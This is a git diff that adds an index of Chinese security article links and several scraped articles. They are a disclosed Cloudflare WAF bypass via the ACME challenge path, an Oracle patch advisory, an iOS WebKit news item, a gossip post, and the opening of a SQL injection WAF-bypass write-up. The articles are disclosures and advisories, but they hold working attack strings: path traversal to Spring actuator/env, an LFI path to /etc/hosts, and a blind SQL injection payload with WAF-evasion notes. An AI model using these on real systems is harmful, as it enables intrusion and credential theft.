diff --git a/data.json b/data.json
index 17f4d202..6d53b04d 100644
--- a/data.json
+++ b/data.json
@@ -16903,5 +16903,16 @@
"https://mp.weixin.qq.com/s/wZUjoI-UknD3klfEYeNcLg": "【40万POC???】小场面,看纽克如何拿捏海量POC场景",
"https://mp.weixin.qq.com/s/VH4Gvt_pAy3ik0Yfm-6ADw": "【全网首发】2025 0∕1∕N Day漏洞清单(超长版)",
"https://mp.weixin.qq.com/s/HOMtm3b2Kh9FqN2LkKd8Uw": "可访问全球任意主机:Cloudflare WAF 0-day漏洞剖析",
- "https://mp.weixin.qq.com/s/eJU8djVlEW2tnxBksnOdvA": "Cloudflare WAF 零日漏洞:可访问全球任何主机"
+ "https://mp.weixin.qq.com/s/eJU8djVlEW2tnxBksnOdvA": "Cloudflare WAF 零日漏洞:可访问全球任何主机",
+ "https://mp.weixin.qq.com/s/8tpfLLv56fawojZBhnBjvw": "全是高危漏洞?CVSS 4.0 落地指南想帮安全团队挤挤漏洞的水分",
+ "https://mp.weixin.qq.com/s/5oo7b9TJ20ojauenFrfXJw": "Oracle 2026年1月补丁日多产品高危漏洞安全风险通告",
+ "https://mp.weixin.qq.com/s/htPJk0Hp4LLl20Is3pf1lg": "旭帆易云视信息科技有限公司 EasyCVR getbaseconfig 信息泄露漏洞(CVE-2025-1595)",
+ "https://mp.weixin.qq.com/s/Kx71tqWUczeSAZB90SLN_w": "教育类SRC漏洞挖掘场景分析",
+ "https://mp.weixin.qq.com/s/sFLHzWAJCCq4d1zxm6Ftbg": "研究显示:GPT-5.2可稳定量产零日漏洞利用",
+ "https://mp.weixin.qq.com/s/4zDilvWzK5g7sogY6YkyPg": "iOS 和 iPadOS 的新漏洞使数百万部 iPhone 面临风险",
+ "https://mp.weixin.qq.com/s/zkp3wzgK9iyxmUedLokYlA": "Cloudflare WAF绕过漏洞:全球任意主机访问",
+ "https://mp.weixin.qq.com/s/wFstbaEeKmaRvN9xGB719Q": "漏洞挖掘实战系列(第17期):反序列化漏洞全解析 PHP∕Java∕Python 三大语言实战",
+ "https://mp.weixin.qq.com/s/zMXlRyesyjnBQiyOK-piUA": "漏洞复现 | React(next.js)存在远程命令执行漏洞(CVE-2025-55182)",
+ "https://mp.weixin.qq.com/s/9fWdC9ymTn3mgtfDI924zQ": "【吃瓜】新年第一个“0day”",
+ "https://mp.weixin.qq.com/s/IbNUWk8P-JOlZdpkdABb3A": "【绕过Bypass】实战waf绕过(文末有edu通杀0day)"
}
\ No newline at end of file
diff --git a/doc/2026-01/Cloudflare WAF绕过漏洞:全球任意主机访问.md b/doc/2026-01/Cloudflare WAF绕过漏洞:全球任意主机访问.md
new file mode 100644
index 00000000..3d0e60f4
--- /dev/null
+++ b/doc/2026-01/Cloudflare WAF绕过漏洞:全球任意主机访问.md
@@ -0,0 +1,271 @@
+# Cloudflare WAF绕过漏洞:全球任意主机访问
+fearsoff
+ fearsoff 赛博知识驿站 2026-01-21 02:00
+
+
+## 要点速览
+
+本文披露了一个 Cloudflare WAF 的 **zero-day 绕过漏洞**
+,攻击者可通过 /.well-known/acme-challenge/
+ 路径直接访问受 WAF 保护的源站,**无视所有客户自定义规则**
+。
+### 核心技术点
+
+**漏洞成因**
+:Cloudflare 为支持 ACME HTTP-01 证书验证,在处理 /.well-known/acme-challenge/*
+ 路径时使用了独立代码路径,该路径在 WAF 规则评估**之前**
+执行,导致客户配置的阻断规则失效。
+
+**攻击向量**
+:
+- • 任意请求只要路径以 /.well-known/acme-challenge/{token}
+ 开头即可绕过 WAF
+
+- • 无需真实 ACME 文件存在
+
+- • 甚至可在 token 后追加任意后缀(如 /ae
+)仍然生效
+
+**实战利用场景**
+:
+1. 1. **Spring/Tomcat 框架**
+:结合 Servlet 路径穿越特性 ..;/
+,访问敏感 actuator 端点```
+/.well-known/acme-challenge/{token}/..;/actuator/env
+```
+
+可泄露数据库凭据、API 密钥等环境变量
+
+1. 2. **Next.js SSR 应用**
+:直接访问服务端渲染页面,获取本应受保护的运维信息
+
+1. 3. **PHP 应用**
+:利用 index.php
+ 路由机制触发 LFI 漏洞```
+/.well-known/acme-challenge/{token}/../../../../etc/hosts
+```
+
+
+### 验证技巧
+
+研究者通过 Cloudflare **SSL/TLS Custom Hostnames**
+ 功能获取稳定的 challenge token:
+- • 添加自定义主机名但**不创建 DNS 记录**
+
+- • 保持证书验证处于 Pending Validation
+ 状态
+
+- • 获得长期有效的测试 token,避免真实 CA 验证竞争
+
+### 影响范围
+- • 所有依赖 Cloudflare WAF 做访问控制的应用
+
+- • **账户级 WAF 规则**
+同样被绕过(包括基于 Header 的安全策略)
+
+- • 暴露了原本受信任边界保护的代码缺陷(SQL 注入、SSRF、缓存投毒等)
+
+**时间线**
+:
+- • 2025-10-09 提交漏洞
+
+- • 2025-10-27 Cloudflare 部署修复
+
+- • 现已修复,WAF 规则对 ACME 路径正常生效
+
+**AI 安全启示**
+:该漏洞凸显了 AI 驱动攻击的新威胁——机器学习模型可自动枚举此类隐蔽路径并链式利用框架特定漏洞,防御方需要 AI 工具进行攻击模拟验证。
+# Cloudflare 零日漏洞:全球任意主机访问
+## 当 .well-known 路径绕过了 WAF
+
+几乎每个现代网站上都存在一个专为机器而非人类设计的 URL。它位于 /.well-known/acme-challenge/
+ 路径下,在证书签发的几秒钟内,会有一个机器人访问它来验证你确实控制着该域名。这次访问本应平淡无奇,只是一个例行的静默任务。但这一次,这条安静的路径却引发了巨大的安全问题!
+
+本文讲述了一个完整的漏洞发现故事:针对证书验证路径的流量如何能够绕过客户配置的规则直达 Cloudflare 背后的源站,为什么这个问题如此重要,我们如何谨慎地证明它的存在,以及这个问题现在是如何被修复的。本文既适合需要技术细节的安全研究人员,也适合需要全局视角的安全负责人。
+## ACME 协议 60 秒速览
+
+ACME 是证书颁发机构(CA)用来验证域名控制权的协议。在 HTTP-01 验证方法中,CA 期望你的站点在 /.well-known/acme-challenge/{token}
+ 路径下提供一个一次性令牌。CA 像普通客户端一样通过 HTTPS 获取该令牌;如果内容匹配,证书就会被签发。这个机制的设计初衷严格且最小化:让机器人读取一个特定路径下的小文件,仅此而已。ACME 通道本应只允许一个拿着验证清单的机器人通过,而不是让一群人绕过安全检查溜进来。
+## 不符合预期的观察
+
+我们在审查一组应用的访问控制策略时,这些应用的 WAF 配置为阻止所有流量,仅允许特定来源访问。在其他所有地方,WAF 都完全按照配置工作。但当我们向 /.well-known/acme-challenge/{token}
+ 发送请求时,WAF 却退到了一边,源站用自己的声音做出了响应。这个微妙的变化——从 Cloudflare 拦截页面变为源站框架响应——就是关键线索。
+
+为了确保这不是某个租户特定的错误配置,我们搭建了受控的演示主机,放在 Cloudflare 后面,默认阻止正常流量:
+- • https://cf-php.fearsoff.org/
+
+- • https://cf-spring.fearsoff.org/
+
+- • https://cf-nextjs.fearsoff.org/
+
+在普通路径下,你会看到阻止页面。但将同样的主机指向 ACME 挑战路径(使用任意真实令牌),你会得到源站生成的响应,通常是框架的 404 页面。这个差异即使不看响应头也清晰可见:一个页面来自 Cloudflare,另一个明显来自应用本身。
+## 我们信任的信号
+
+在演示主机上,我们使用小型幂等请求,并在令牌后附加一个无害的后缀(例如在令牌后添加 /ae
+),以证明即使没有真实的 ACME 文件,这种行为也会出现。在每种情况下,我们都在本应遇到 WAF 的地方收到了源站响应。
+
+以下是来自演示环境的代表性截图。第一张图显示正常请求在 Cloudflare 阻止页面处终止。第二张显示我们用来阻止 cf-*
+ 主机名的自定义规则。接下来三张显示每个演示主机在请求 ACME 路径时返回源站生成的 404。
+#### 阻止页面(正常请求)
+
+
+
+阻止页面
+#### 自定义规则 - 阻止 cf-* 主机名
+
+在演示中,我们创建了一条规则来阻止任何包含 cf-
+ 的主机名。在生产环境中,许多团队会阻止公共互联网,仅允许企业 VPN 出口。这条规则模拟了我们演示中的这种安全策略。
+
+
+
+自定义规则
+#### 源站 404(Next.js)
+
+
+
+Next.js 404
+#### 源站 404(Spring)
+
+
+
+Spring 404
+#### 源站 404(PHP)
+
+
+
+PHP 404
+## 如何获取稳定的挑战令牌
+
+为了进行可重复的演示,我们需要一个不会在测试中途消失的挑战令牌。Cloudflare 的 SSL/TLS Custom Hostnames
+ 功能允许你为 CNAME 到你域名的第三方管理主机名和证书。我们添加了一个名为 cf-well-known.fearsoff.org
+ 的自定义主机名,并明确选择了 HTTP 验证。下面的截图显示了添加流程和生成的待验证状态。
+
+
+
+添加自定义主机名
+
+
+
+
+待验证状态
+
+我们故意没有为 cf-well-known.fearsoff.org
+ 创建 DNS 记录,因此签发过程无限期地保持在待验证状态。在这种待验证状态下,Cloudflare 会显示验证机器人最终会请求的 HTTP-01 URL,例如:
+
+http://cf-well-known.fearsoff.org/.well-known/acme-challenge/yMnWOcR2yv0yW-...Jm5QksreNRDUmqKfKPTk
+
+我们没有完成验证,也没有在该路径下放置任何挑战文件。目标是获得一个确定性的、长期有效的令牌格式,以便在不与真实 CA 竞争的情况下锚定我们的 WAF 行为测试。有了这个令牌,我们可以在全球所有 Cloudflare 主机上测试 /.well-known/acme-challenge/{token}
+ 路由。
+## 为什么这在实践中很重要
+
+WAF 控制本应是前门守卫。当单个维护路径绕过这道门时,"内部"的定义就发生了改变。实际上,/.well-known/acme-challenge/...
+ 的信任边界从 WAF 滑向了源站。一旦源站可以从互联网直接访问——即使只是一个路由——普通的漏洞就获得了网络路径,普通的页面就变成了侦察工具。
+
+以下是这种转变在我们演示中的表现。
+#### Spring / Tomcat
+
+在正常的安全策略下,actuator
+ 端点位于 WAF 和内部网络控制之后。通过 ACME 路径访问应用改变了这个边界。利用某些 servlet 栈中众所周知的路径遍历技巧(..;/
+),请求可以到达 /actuator/env
+ 并返回进程环境和配置信息。这些数据通常包含敏感值——数据库 URL、API 令牌、云密钥——这大大扩大了源站任何错误的影响范围。
+
+
+
+Spring actuator 泄露
+#### Next.js
+
+服务器端渲染框架通常会将服务器派生的值传递给客户端以水合页面。当 WAF 控制前门时这没问题。但当源站直接响应时,同一页面可能会暴露从未打算从公共互联网访问的操作细节。
+
+
+
+Next.js 信息泄露
+#### PHP 路由
+
+许多 PHP 应用将所有请求路由到 index.php
+,并使用查询参数选择视图。当这种模式存在本地文件包含(LFI)漏洞时,公共可达性会将其转变为文件读取。请求 ../../../../etc/hosts
+ 足以证明影响。在我们的演示中,即使是 404 流程也通过 index.php
+ 路由,这就是为什么一旦源站开始直接响应,它就会暴露额外的页面。
+
+
+
+PHP LFI 演示 1
+
+
+
+
+PHP LFI 演示 2
+
+这些演示是后果,而非原因。根本问题是 WAF 在特殊路径上的决策。一旦这扇门打开,源站内部任何脆弱的东西都突然只有一个请求的距离。
+## 不仅仅是 404 - 账户级 WAF 规则被忽略
+
+为了证明这不仅仅是通往框架 404 的绕路,我们配置了账户级 WAF 规则来阻止携带哨兵标头的请求。在根路径上,携带 X-middleware-subrequest:
+ 的请求按预期被阻止。完全相同的请求指向 ACME 路径时却被允许并由应用提供服务。换句话说,本应阻止请求的账户规则在该路径上根本没有被评估。
+
+为什么这个区别很重要?许多真实应用基于标头做出决策或将标头值传递到下游代码。当监管标头的 WAF 规则被跳过时,整类问题重新获得了到达源站的路由:遗留代码中基于标头驱动的 SQL 拼接、通过 X-Forwarded-Host
+ 或 X-Original-URL
+ 的 SSRF 和主机混淆、当缓存根据标头变化时的缓存键投毒、使用 X-HTTP-Method-Override
+ 的方法覆盖技巧,以及连接到自定义标头的调试开关。显而易见的问题随之而来——有多少应用仍然过度信任标头,又有多少依赖 WAF 来阻隔这种信任与互联网之间的距离?
+## 可能发生了什么以及修复
+
+我们在调查期间的工作假设是,/.well-known/acme-challenge/
+ 下的请求在不同的代码路径上被评估——这是一个隐式异常,旨在帮助证书验证,在客户阻止控制之前执行。这可以解释为什么在 ACME 路径下始终返回源站响应,而在其他地方都是阻止页面。
+
+2025 年 10 月 27 日,Cloudflare 部署了修复。我们重新测试了相同的模式,观察到了预期的行为:WAF 统一应用客户规则,包括在 /.well-known/acme-challenge/*
+ 上。这条无聊的路径再次变得无聊。
+## AI 与新的攻击面
+
+随着 AI 驱动攻击的演进,像这种 WAF 绕过的漏洞变得更加紧迫。由机器学习驱动的自动化工具可以快速枚举和利用像 /.well-known/acme-challenge/
+ 这样的暴露路径,大规模探测框架特定的弱点或错误配置。
+
+例如,一个经过训练以识别 servlet 遍历技巧或 PHP 路由漏洞的 AI 模型可以将这种绕过与针对性载荷链接起来,将狭窄的维护路径转变为广泛的攻击向量。相反,AI 驱动的安全工具可以通过模拟这些攻击场景来帮助防御者,正如我们与 Crypto.com 安全团队的合作所展示的,他们使用 AI 分析来验证这个问题。随着源站变得可直接访问,AI 攻击者和防御者之间的竞赛加剧,使得强大的 WAF 控制比以往任何时候都更加关键。
+## 时间线
+- • **2025 年 10 月 9 日**
+ - 通过 HackerOne 提交
+
+- • **2025 年 10 月 13 日**
+ - 供应商开始验证
+
+- • **2025 年 10 月 14 日**
+ - HackerOne 分类
+
+- • **2025 年 10 月 27 日**
+ - 部署最终修复;重新测试确认已修复
+
+## 致谢
+
+我们要向
+Jason Lau, CISO[1]
+ 和 **Crypto.com 安全团队**
+表示深深的感谢,我们首先联系他们帮助独立验证这个零日漏洞。他们的技术专长、AI 安全能力、速度和响应能力使我们能够与
+Matthew Prince, CEO[2]
+ 和 **Cloudflare**
+ 团队密切合作,加快补丁的开发和测试。多亏了我们的共同努力,全球的组织今天更加安全。
+## 结语
+
+最危险的漏洞往往始于例行细节。证书机器人的通道永远不应该成为后门。我们感谢从调查到修复的快速响应,以及整个过程中的协作。
+
+你可以在
+Cloudflare 博客[3]
+上阅读关于这个漏洞的更多信息。
+
+****> 原文:https://fearsoff.org/research/cloudflare-acme
+
+#### 引用链接
+
+[1]
+ Jason Lau, CISO: https://www.linkedin.com/in/jasonciso/
+[2]
+ Matthew Prince, CEO: https://www.linkedin.com/in/mprince/
+[3]
+ Cloudflare 博客: https://blog.cloudflare.com/acme-path-vulnerability/
+[4]
+ X: https://x.com/k_firsov/status/2013253875512582261
+[5]
+ @k_firsov: https://x.com/k_firsov
+[6]
+ @FearsOff: https://x.com/FearsOff
+
+
+
+
+
diff --git a/doc/2026-01/Oracle 2026年1月补丁日多产品高危漏洞安全风险通告.md b/doc/2026-01/Oracle 2026年1月补丁日多产品高危漏洞安全风险通告.md
new file mode 100644
index 00000000..8b245c21
--- /dev/null
+++ b/doc/2026-01/Oracle 2026年1月补丁日多产品高危漏洞安全风险通告.md
@@ -0,0 +1,196 @@
+# Oracle 2026年1月补丁日多产品高危漏洞安全风险通告
+ 奇安信 CERT 2026-01-21 01:46
+
+●
+点击↑蓝字关注我们,获取更多安全风险通告
+
+
+
漏洞概述
|
漏洞名称 | Oracle 2026年1月补丁日多产品高危漏洞 |
影响产品 | Oracle WebLogic Server、MySQL Server等 |
公开时间 | 2026-01-21 | 影响对象数量级 | 百万级 |
奇安信评级 | 高危 | 利用可能性 | 中 |
POC状态 | 未公开 | 在野利用状态 | 未发现 |
EXP状态 | 未公开 | 技术细节状态 | 未公开 |
危害描述:攻击者利用这些漏洞,可造成破坏系统完整性或泄露敏感信息等。 |
+
+
+**01**
+
+**漏洞信息**
+
+**>**
+**>**
+**>**
+**>**
+
+**漏洞描述**
+
+Oracle官方发布了2026年1月的关键安全补丁集合更新CPU(Critical Patch Update),修复了多个漏洞包括 CVE-2026-21949、CVE-2026-21950、CVE-2026-21962 等。其中
+Oracle MySQL Server拒绝服务漏洞(CVE-2026-21949、CVE-2026-21950)、Oracle WebLogic Server Proxy Plug-in身份认证绕过漏洞(CVE-2026-21962)影响相对较大。奇安信CERT建议客户尽快自查并应用本次关键安全补丁集合(CPU)。
+
+
+**奇安信CERT建议客户尽快自查并应用本次关键安全补丁集合(CPU)。**
+
+CVE编号 | 影响组件 | 协议 | 是否远程未授权利用 | CVSS | 受影响版本 |
CVE-2026-21949 | MySQL Server: Server: Optimizer | MySQL Protocol | 否 | 6.5 | 9.0.0-9.5.0 |
CVE-2026-21950 | MySQL Server: Server: Optimizer | MySQL Protocol | 否 | 6.5 | |
CVE-2026-21968 | MySQL Server: Server: Optimizer | MySQL Protocol | 否 | 6.5 | |
CVE-2026-21929 | MySQL Server: Server: Parser | MySQL Protocol | 否 | 5.3 | 9.0.0-9.5.0 |
CVE-2026-21962 | Oracle HTTP Server, Oracle Weblogic Server Proxy Plug-in(Weblogic Server Proxy Plug-in for Apache HTTP Server, Weblogic Server Proxy Plug-in for IIS) | HTTP | 是 | 10.0 | 12.2.1.4.0, |
+
+**需注意的是,****目前多个Oracle WebLogic Server版本已停止维护,详情如下:**
+
+**10.3.6.0、11.1.1.9版本最终CPU截止至2021年10月;**
+
+**12.1.3.0版本最终CPU截止至2022年01月。**
+
+
+
+**>**
+**>**
+**>**
+**>**
+
+**值得关注漏洞**
+
+本次值得关注的漏洞如下:
+
+
+**1. Oracle MySQL Server拒绝服务漏洞**
+漏洞名称 | Oracle MySQL Server拒绝服务漏洞 |
漏洞类型 | 拒绝服务 | 风险等级 | 中危 | 漏洞ID | CVE-2026-21949 |
公开状态 | 未公开 | 在野利用 | 未发现 |
漏洞描述 | 由于 Optimizer 在处理特定 SQL 查询时未能正确管理内存或资源,导致服务器在接收到恶意构造的请求后进入无限循环或触发重复崩溃,最终造成拒绝服务。攻击者可通过网络向 MySQL Server 发送精心构造的 SQL 语句,无需高权限即可触发该漏洞,导致数据库服务完全不可用。由于 MySQL 通常作为关键后端服务运行,成功利用将严重影响业务连续性,造成系统级服务中断。 |
参考链接 |
https://www.oracle.com/security-alerts/cpujan2026.html |
+**2. Oracle WebLogic Server Proxy Plug-in身份认证绕过漏洞(CVE-2026-21962)**
+漏洞名称 | Oracle WebLogic Server Proxy Plug-in身份认证绕过漏洞 |
漏洞类型 | 身份认证绕过 | 风险等级 | 高危 | 漏洞ID | CVE-2026-21962 |
公开状态 | 未公开 | 在野利用 | 未发现 |
漏洞描述 | 由于 WebLogic Server Proxy Plug-in 由于插件在解析或转发请求时缺少必要的身份验证与授权校验,未经认证的远程攻击者可通过发送特制 HTTP 报文即可“完全访问”代理插件所能接触到的所有数据,并具备任意增删改权限。成功利用后,攻击者可直接篡改 Web 应用数据、窃取敏感信息,甚至借助代理通道进一步攻击后端 WebLogic 实例,造成横向蔓延。在IIS环境中,受影响的 Weblogic Server Proxy 插件版本仅为 12.2.1.4.0。 |
参考链接 |
https://www.oracle.com/security-alerts/cpujan2026.html |
+
+
+
+**02**
+
+**影响范围**
+
+
+CVE编号 | 受影响版本 |
CVE-2026-21949 | 9.0.0 <= Oracle MySQL Server <= 9.5.0 |
CVE-2026-21950 | 9.0.0 <= Oracle MySQL Server <= 9.5.0 |
CVE-2026-21968 | 8.0.0 <= Oracle MySQL Server <= 8.0.448.4.0 <= Oracle MySQL Server <= 8.4.79.0.0 <= Oracle MySQL Server <= 9.5.0 |
CVE-2026-21929 | 9.0.0 <= Oracle MySQL Server <= 9.5.0 |
CVE-2026-21962 | Oracle WebLogic Server 12.2.1.4.0 Oracle WebLogic Server 14.1.1.0.0Oracle WebLogic Server 14.1.2.0.0 |
+
+
+
+**03**
+
+**处置建议**
+
+**>**
+**>**
+**>**
+**>**
+
+**安全更新**
+
+目前官方已发布补丁,请参考以下链接进行修复:
+
+https://www.oracle.com/security-alerts/
+cpujan2026
+.html
+
+
+**Oracle WebLogic Server升级方式**
+
+1. Oracle WebLogic Server 12c:
+
+参考补丁文件,使用opatch apply 安装补丁
+
+C:\Oracle\Middleware\Oracle_Home\OPatch>opatch apply 本机补丁地址
+
+
+
+
+
+注:补丁编号请自行更改为新补丁编号。
+
+
+**若非必须开启,请禁用T3和IIOP协议。**
+
+禁用T3、IIOP协议具体操作步骤如下:
+
+**1.禁用T3:**
+
+进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
+
+ 
+
+
+在连接筛选器中输入:WebLogic.security.net.ConnectionFilterImpl,参考以下写法,在连接筛选器规则中配置符合企业实际情况的规则:
+
+127.0.0.1 * * allow t3 t3s
+
+本机IP * * allow t3 t3s
+
+允许访问的IP * * allow t3 t3s
+
+* * * deny t3 t3s
+
+
+
+连接筛选器规则格式如下:target localAddress localPort action protocols,其中:
+
+target 指定一个或多个要筛选的服务器。
+
+localAddress 可定义服务器的主机地址。(如果指定为一个星号 (*),则返回的匹配结果将是所有本地 IP 地址。)
+
+localPort 定义服务器正在监听的端口。(如果指定了星号,则匹配返回的结果将是服务器上所有可用的端口)。
+
+action 指定要执行的操作。(值必须为“allow”或“deny”。)
+
+protocols 是要进行匹配的协议名列表。(必须指定下列其中一个协议:http、https、t3、t3s、giop、giops、dcom 或 ftp。) 如果未定义协议,则所有协议都将与一个规则匹配。
+
+保存后若规则未生效,建议重新启动WebLogic服务(重启WebLogic服务会导致业务中断,建议相关人员评估风险后,再进行操作)。以Windows环境为例,重启服务的步骤如下:
+
+进入域所在目录下的bin目录,在Windows系统中运行stopWebLogic.cmd文件终止WebLogic服务,Linux系统中则运行stopWebLogic.sh文件。
+
+ 
+
+
+待终止脚本执行完成后,再运行startWebLogic.cmd或startWebLogic.sh文件启动WebLogic,即可完成WebLogic服务重启。
+
+
+**2.禁用IIOP:**
+
+用户可通过关闭IIOP协议阻断针对利用IIOP协议漏洞的攻击,操作如下:
+
+在WebLogic控制台中,选择“服务”->”AdminServer”->”协议”,取消“启用IIOP”的勾选。并重启WebLogic项目,使配置生效。
+
+
+
+
+
+
+**04**
+
+**参考资料**
+
+[1]https://www.oracle.com/security-alerts/cpujan2026.html
+
+
+
+**05**
+
+**时间线**
+
+2026年01月21日,奇安信 CERT发布安全风险通告。
+
+
+
+**06**
+
+**漏洞情报服务**
+
+奇安信ALPHA威胁分析平台已支持漏洞情报订阅服务:
+
+
+
+
+
+
+
+
+
+
+**奇安信 CERT**
+
+**致力于**
+第一时间为企业级用户提供**权威**
+漏洞情报和**有效**
+解决方案。
+
+
+
+点击↓**阅读原文**
+,到**ALPHA威胁分析平台**
+订阅更多漏洞信息。
+
diff --git a/doc/2026-01/iOS 和 iPadOS 的新漏洞使数百万部 iPhone 面临风险.md b/doc/2026-01/iOS 和 iPadOS 的新漏洞使数百万部 iPhone 面临风险.md
new file mode 100644
index 00000000..e31032ba
--- /dev/null
+++ b/doc/2026-01/iOS 和 iPadOS 的新漏洞使数百万部 iPhone 面临风险.md
@@ -0,0 +1,76 @@
+# iOS 和 iPadOS 的新漏洞使数百万部 iPhone 面临风险
+会杀毒的单反狗
+ 会杀毒的单反狗 军哥网络安全读报 2026-01-21 01:04
+
+**导****读**
+
+
+
+iOS
+和
+iPadOS
+的
+ WebKit
+存在严重漏洞,可能导致数百万台
+ iPhone
+和
+ iPad
+被悄无声息地控制。苹果敦促用户立即更新。
+
+
+
+
+无需点击。无需警告。完全设备访问权限。
+
+
+苹果公司确认两个影响数百万部 iPhone 和 iPad 的严重 WebKit 漏洞。利用 CVE-2025-43529 和 CVE-2025-14174 漏洞,攻击者可以获得设备的完全访问权限,包括密码和财务数据。
+
+
+根据这份 iOS 和 iPadOS安全文档,这两个漏洞都源于 WebKit 的两个漏洞,攻击者可以利用这些漏洞在 Safari 中执行恶意代码,从而进一步访问设备。
+
+
+利用过程如下:
+- 攻击者将恶意代码隐藏在被入侵的网页中。
+- 页面加载时,WebKit 内存处理不当。
+- 该漏洞允许恶意代码在浏览器中运行。
+- 第二个漏洞可以实现更深层次的访问权限,从而暴露设备数据。
+这种漏洞被称为“零点击漏洞”,无需用户任何操作即可触发。如果同时存在这两种漏洞,用户只需访问一个网站就可能发生安全漏洞。
+
+
+Hacker News 报道称,在苹果发现并修复这些漏洞之前,它们都是已经广泛传播的
+0day
+漏洞。该修复程序已包含在 iOS 26.2 中,因此大多数旧款 iPhone 和 iPad 无法获得更新。
+
+
+苹果公司敦促所有用户升级系统,尤其是以下设备的用户:
+- iPhone 11 及更新机型。
+- iPad Pro 12.9 英寸,第三代及更新机型。
+- iPad Pro 11 英寸,第一代及更新机型。
+- iPad Air,第三代及更新机型。
+- iPad,第八代及更新机型。
+- iPad mini,第五代及更新机型。
+据福克斯新闻报道,这份清单上的设备类别比其他设备类别更容易受到攻击。
+
+
+苹果还发布了 iOS 18.7.3 来解决 iPhone XS、XS Max 和 XR 上的这两个 WebKit 漏洞,以及适用于 iPad(第七代)的 iPadOS 18.7.3。
+
+
+福克斯新闻援引的研究表明,攻击者正针对特定个人。这些个人的身份尚未公开。类似的定向网络攻击表明,政治人物和公众人物很可能是攻击目标。
+
+
+对许多苹果用户来说,设备更新似乎只是增加了一些外观设计和动画效果;然而,其真正的价值在于核心安全修复。设备更新对于安全至关重要,能够保护用户免受漏洞的侵害,例如那些被自动利用的漏洞。
+
+
+新闻链接:
+
+https://www.techrepublic.com/article/news-ios-ipad-os-flaws-iphones-at-risk/
+
+
+
+扫码关注
+
+军哥网络安全读报
+
+**讲述普通人能听懂的安全故事**
+
+
diff --git a/doc/2026-01/【吃瓜】新年第一个“0day”.md b/doc/2026-01/【吃瓜】新年第一个“0day”.md
new file mode 100644
index 00000000..122be3a6
--- /dev/null
+++ b/doc/2026-01/【吃瓜】新年第一个“0day”.md
@@ -0,0 +1,67 @@
+# 【吃瓜】新年第一个“0day”
+原创 冥夏爱痴瓜
+ 冥夏爱痴瓜 表哥带我 2026-01-21 03:42
+
+
+> ❝
+> 由于传播、利用本公众号"表哥带我"所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责。本文图片源自网友*****i、****子投稿。
+
+
+“难受啊,被他挖到大洞了”
+
+
+
+毁天灭地的全球js版本过低
+
+
+
+
+
+
+
+----------------
+
+
+
+
+其他阅读:
+
+[网络工程师被控涉嫌两项罪名,183个比特币被扣押](https://mp.weixin.qq.com/s?__biz=Mzg4NDg2NTM3NQ==&mid=2247486247&idx=1&sn=b9653e3b2c147831a953989d7befb984&scene=21#wechat_redirect)
+
+
+[【吃瓜】前男友在某音给女生发约不约是挖漏洞](https://mp.weixin.qq.com/s?__biz=Mzg4NDg2NTM3NQ==&mid=2247486240&idx=1&sn=0008fa59c179ec9407ed3917d9c91143&scene=21#wechat_redirect)
+
+
+[【吃瓜】黑客大王排行榜证书被认可](https://mp.weixin.qq.com/s?__biz=Mzg4NDg2NTM3NQ==&mid=2247486230&idx=1&sn=8d5dad6e1c94db550308614ca4edff39&scene=21#wechat_redirect)
+
+
+[网安龙头奇安信发布2025年业绩预亏公告](https://mp.weixin.qq.com/s?__biz=Mzg4NDg2NTM3NQ==&mid=2247486211&idx=1&sn=2cb03f1a75150eb19a8b86e981d3e5a1&scene=21#wechat_redirect)
+
+
+[【吃瓜】《逆战:未来》T0级事故,全服送神器](https://mp.weixin.qq.com/s?__biz=Mzg4NDg2NTM3NQ==&mid=2247486188&idx=1&sn=2d8bc1fc328aaf5f90105d141e6d66cc&scene=21#wechat_redirect)
+
+
+[【吃瓜】携程接连发生向大量员工发离职短信](https://mp.weixin.qq.com/s?__biz=Mzg4NDg2NTM3NQ==&mid=2247486175&idx=1&sn=c4beb67e28e110a52767d9f592ff7bfa&scene=21#wechat_redirect)
+
+
+[【吃瓜】神人之手机黑客的挖洞之路](https://mp.weixin.qq.com/s?__biz=Mzg4NDg2NTM3NQ==&mid=2247486175&idx=2&sn=8368550af62efd15da1359b57875c058&scene=21#wechat_redirect)
+
+
+[豆包提示词注入生成性感照](https://mp.weixin.qq.com/s?__biz=Mzg4NDg2NTM3NQ==&mid=2247486096&idx=1&sn=763070c51cfb1c4e488263968b9b377d&scene=21#wechat_redirect)
+
+
+[【吃瓜】11班最强黑客到此一游](https://mp.weixin.qq.com/s?__biz=Mzg4NDg2NTM3NQ==&mid=2247486003&idx=1&sn=d92817e4195ce8d486e10ab54480a824&scene=21#wechat_redirect)
+
+
+
+
+
+
+**左侧扫码加入**
+
+**表哥带我**
+
+**吃瓜交流群**
+
+动态入群二维码
+
diff --git a/doc/2026-01/【绕过Bypass】实战waf绕过(文末有edu通杀0day).md b/doc/2026-01/【绕过Bypass】实战waf绕过(文末有edu通杀0day).md
new file mode 100644
index 00000000..bae9560a
--- /dev/null
+++ b/doc/2026-01/【绕过Bypass】实战waf绕过(文末有edu通杀0day).md
@@ -0,0 +1,238 @@
+# 【绕过Bypass】实战waf绕过(文末有edu通杀0day)
+九泠
+ 九泠 蓝剑实验室 2026-01-21 03:35
+
+## 原文:复盘2025:在WAF的缝隙里开出花来(附EDU通杀0DayPOC)
+
+
+## 一、央企站群:当SQL注入遇上各种拦截
+### 1. 前述
+
+中国XX集团的站群,前台参数cart
+,后台参数username
+(借助宽字节绕过转义)。username
+处有SQL报错返回。
+### 2. WAF的“选择障碍症”
+
+测试开始就遇阻:网站使用360webscan防御、单引号与反斜杠转义、自制403waf。
+
+拦截:and/or (数字)
+、/*!(字母/数字)*/
+、(数字)=/>/<(数字)
+、select (字母/数字) from
+(这个待会要考)、超长字符串(360webscan绕过方案)、常规报错函数、order by
+、limit (数字)
+、union select
+。
+
+补充,白名单绕过对360webscan不工作。
+
+**先从前台下手。**
+
+构建变体,直接取出数据库名称:
+```
+and+ascii(mid(database(),1,1))=5201314
+```
+
+注意是(数字)=/>/<(数字)
+才被拦截,而(字符)=/>/<(数字)
+是合规的。
+
+到这里ASCII二分法就Game over了。
+
+
+
+但这并没有结束...中危?不扶!
+
+
+### 3. 累累碰壁
+
+直接尝试从报错入手,然后就被幸福地告知:函数被禁用,不存在函数。
+
+更过分的是,存在的函数无法抛出报错(不知道是不是环境问题)。
+
+转变思路,回到盲注上:
+
+尝试利用AND逻辑短路特性(偶然在一篇赛事文章中看到的)
+
+介绍可以看:sql语句中的逻辑短路
+
+但令我疑惑的是,这并不工作?
+### 4. 花括号:最朴素的绕过
+
